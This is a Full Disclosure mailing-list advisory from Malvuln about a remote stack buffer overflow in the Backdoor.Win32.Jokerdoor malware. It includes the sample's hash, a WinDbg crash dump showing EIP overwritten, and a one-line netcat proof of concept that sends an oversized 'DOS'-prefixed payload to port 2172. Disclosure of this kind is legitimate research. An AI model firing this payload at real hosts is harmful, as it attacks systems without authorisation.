Date: Tue, 26 Apr 2022 21:22:11 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Jokerdoor / Remote Stack Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/94d1b2510bf96fa6190cd65876bf4c38.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Jokerdoor
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 2172. Third party attackers
who can reach an infected system can send a large payload and trigger a
classic stack buffer overflow overwriting the ECX, EIP registers and
structured exception handler (SEH). When connecting you will get a
"connected" server response, then we supply our payload as a parameter
prefixed by "DOS".
Family: Jokerdoor
Type: PE32
MD5: 94d1b2510bf96fa6190cd65876bf4c38
Vuln ID: MVID-2022-0562
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 04/26/2022

Memory Dump:
eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000
edi=00000000
eip=41414141 esp=000a1608 ebp=000a1628 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
41414141 ??              ???

0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** WARNING: Unable to verify checksum for
Backdoor.Win32.Jokerdoor.94d1b2510bf96fa6190cd65876bf4c38
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Jokerdoor.94d1b2510bf96fa6190cd65876bf4c38

FAULTING_IP:
+26
41414141 ??              ???

EXCEPTION_RECORD:  0019ee3c -- (.exr 0x19ee3c)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  Backdoor.Win32.Jokerdoor.94d1b2510bf96fa6190cd65876bf4c38

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141

FOLLOWUP_IP:
+26
41414141 ??              ???

FAILED_INSTRUCTION_ADDRESS:
+26
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's
rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which
may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019ee8c -- (.cxr 0x19ee8c)
eax=00010000 ebx=04223c0c ecx=75f5eb0d edx=00000000 esi=00060486
edi=026a0d17
eip=41414141 esp=0019f2ec ebp=41414141 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010202
41414141 ??              ???
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute
[Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 41414141 to 41414141

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:
 APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_STACKIMMUNE

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_STACKIMMUNE

FRAME_ONE_INVALID: 1

STACK_TEXT:
00000000 00000000
unknown!backdoor.win32.jokerdoor.94d1b2510bf96fa6190cd65876bf4c38+0x0


STACK_COMMAND:  .cxr 000000000019EE8C ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME:
 unknown!backdoor.win32.jokerdoor.94d1b2510bf96fa6190cd65876bf4c38

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: unknown

IMAGE_NAME:  unknown

DEBUG_FLR_IMAGE_TIMESTAMP:  0

FAILURE_BUCKET_ID:  STACK_OVERFLOW_STACKIMMUNE_c0000005_unknown!Unloaded

BUCKET_ID:
 APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_unknown!backdoor.win32.jokerdoor.94d1b2510bf96fa6190cd65876bf4c38


Exploit/PoC:
C:\>python -c "print('DOS'+'A'*804)" | nc64.exe x.x.x.x 2172
connected. 19:51 - April 21, 2022, Thursday, ver: Legends 2.1


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